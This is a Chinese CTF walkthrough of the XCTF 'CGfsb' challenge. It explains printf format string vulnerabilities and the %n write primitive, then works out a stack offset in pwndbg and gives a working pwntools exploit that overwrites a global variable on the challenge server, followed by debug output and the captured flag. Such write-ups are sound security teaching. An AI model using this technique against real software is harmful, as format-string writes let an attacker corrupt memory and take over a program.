XCTF-攻防世界 CGfsb 格式化字符串漏洞

攻防世界-CGfsb-格式化字符串漏洞

参考自 http://geekfz.cn/index.php/2019/06/12/pwn-format/

程序拿下来丢到IDA F5

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("ank you!");
  }
  return 0;
}

看到在最后一个printf有明显的格式化字符串漏洞,补一波格式化字符串漏洞的知识

常用基本的格式化字符串参数介绍:

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

格式化字符串漏洞的原理

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

这里我们给出一个简单的例子,其实相信大多数人都接触过 printf 函数之类的。之后我们再一个一个进行介绍。

XCTF-攻防世界 CGfsb 格式化字符串漏洞_第1张图片

对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

  1. some value
  2. 3.14
  3. 123456
  4. addr of “red”
  5. addr of format string: Color %s…

注:这里我们假设 3.14 上面的值为某个未知的值。

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

  1. printf(“Color %s, Number %d, Float %4.2f”);

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

对于这道题目来说

要利用格式化字符串漏洞修改变量pwnme的值为8,才能输出flag的内容

bss:0804A064 completed_6591  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064                                         ; __do_global_dtors_aux+14↑w
.bss:0804A065                 align 4
.bss:0804A068                 public pwnme
.bss:0804A068 pwnme           dd ?                    ; DATA XREF: main+105↑r
.bss:0804A068 _bss            ends
.bss:0804A068
.prgend:0804A06C ; ===========================================================================
.prgend:0804A06C
.prgend:0804A06C ; Segment type: Zero-length
.prgend:0804A06C _prgend         segment byte public '' use32
.prgend:0804A06C _end            label byte
.prgend:0804A06C _prgend         ends
.prgend:0804A06C

我们双击pwnme这个变量,找到他的位置,发现他位于.bss段,也就是未手动初始化的数据,地址为0x0804A068

bss段(未手动初始化的数据)并不给该段的数据分配空间,只是记录数据所需空间的大小。
data(已手动初始化的数据)段则为数据分配空间,数据保存在目标文件中。

用pwndbg调试看一下运行栈的实际情况

输入参数,name=aaaa,message=AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x

pwndbg> c
Continuing.
AAAA ffffcc6e f7fb45a0 00f0b6ff ffffcc9e 00000001 000000c2 616126bb 000a6161 00000000 41414141 38302520 30252078
Thank you!
[Inferior 1 (process 5093) exited normally]

可以看到第11个参数是我们输入的AAAA(0x41)

同时结合前面pwnme的地址是0x0804A068

所以payload为

\x68\xa0\x04\x08+‘a’*4+%10$n

from pwn import *
context.log_level = 'debug'
conn = remote("111.198.29.45",54083)
pwnme = 0x0804A068
payload1 = 'aaaa'
payload2 = (p32(pwnme) + 'a'*4 + '%10$n')  #pwnme地址占4个字节,所以后面需要打印4个a
conn.recvuntil('please tell me your name:')
conn.sendline(payload1)
conn.recvuntil('leave your message please:') 
conn.sendline(payload2)
print(conn.recvall())
[+] Opening connection to 111.198.29.45 on port 54083: Done
[DEBUG] Received 0x19 bytes:
    'please tell me your name:'
[DEBUG] Sent 0x5 bytes:
    'aaaa\n'
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Received 0x1b bytes:
    'leave your message please:\n'
[DEBUG] Sent 0xe bytes:
    00000000  68 a0 04 08  61 61 61 61  25 31 30 24  6e 0a        │h···│aaaa│%10$│n·│
    0000000e
[+] Receiving all data: Done (117B)
[DEBUG] Received 0xb bytes:
    'hello aaaa\n'
[DEBUG] Received 0x69 bytes:
    00000000  79 6f 75 72  20 6d 65 73  73 61 67 65  20 69 73 3a  │your│ mes│sage│ is:│
    00000010  0a 68 a0 04  08 61 61 61  61 0a 79 6f  75 20 70 77  │·h··│·aaa│a·yo│u pw│
    00000020  6e 65 64 20  6d 65 2c 20  68 65 72 65  20 69 73 20  │ned │me, │here│ is │
    00000030  79 6f 75 72  20 66 6c 61  67 3a 0a 0a  63 79 62 65  │your│ fla│g:··│cybe│
    00000040  72 70 65 61  63 65 7b 32  37 36 31 62  61 61 62 66  │rpea│ce{2│761b│aabf│
    00000050  61 35 65 32  33 38 62 61  31 30 33 34  37 36 63 38  │a5e2│38ba│1034│76c8│
    00000060  32 66 30 30  32 61 66 7d  0a                        │2f00│2af}│·│
    00000069
[*] Closed connection to 111.198.29.45 port 54083

hello aaaa
your message is:
h\xa0\x0aaaa
you pwned me, here is your flag:

cyberpeace{2761baabfa5e238ba103476c82f002af}

tips:做pwn题的一些调试技巧

当你觉得你的脚本没有问题,但是却又怎么也出你想要的结果时,你就需要用到调试了

一个是设置context.log_level="debug"
脚本在执行时就会输出debug的信息,你可以通过观察这些信息查找哪步出错了
用gdb.attach(p)
在发送payload前加入这条语句,同时加上pause() 时脚本暂停
然后就会弹出来一个开启gdb的终端,先在这个终端下好断点,然后回运行着脚本的那个终端按一下回车继续运行脚本,程序就会运行到断点,就可以调试了
from pwn import*  
p = process('./xxxx')  
payload = .....  
gdb.attach(p)  
pause()  
p.sendline(payload)  
p.interactive()  

你可能感兴趣的:(pwn学习)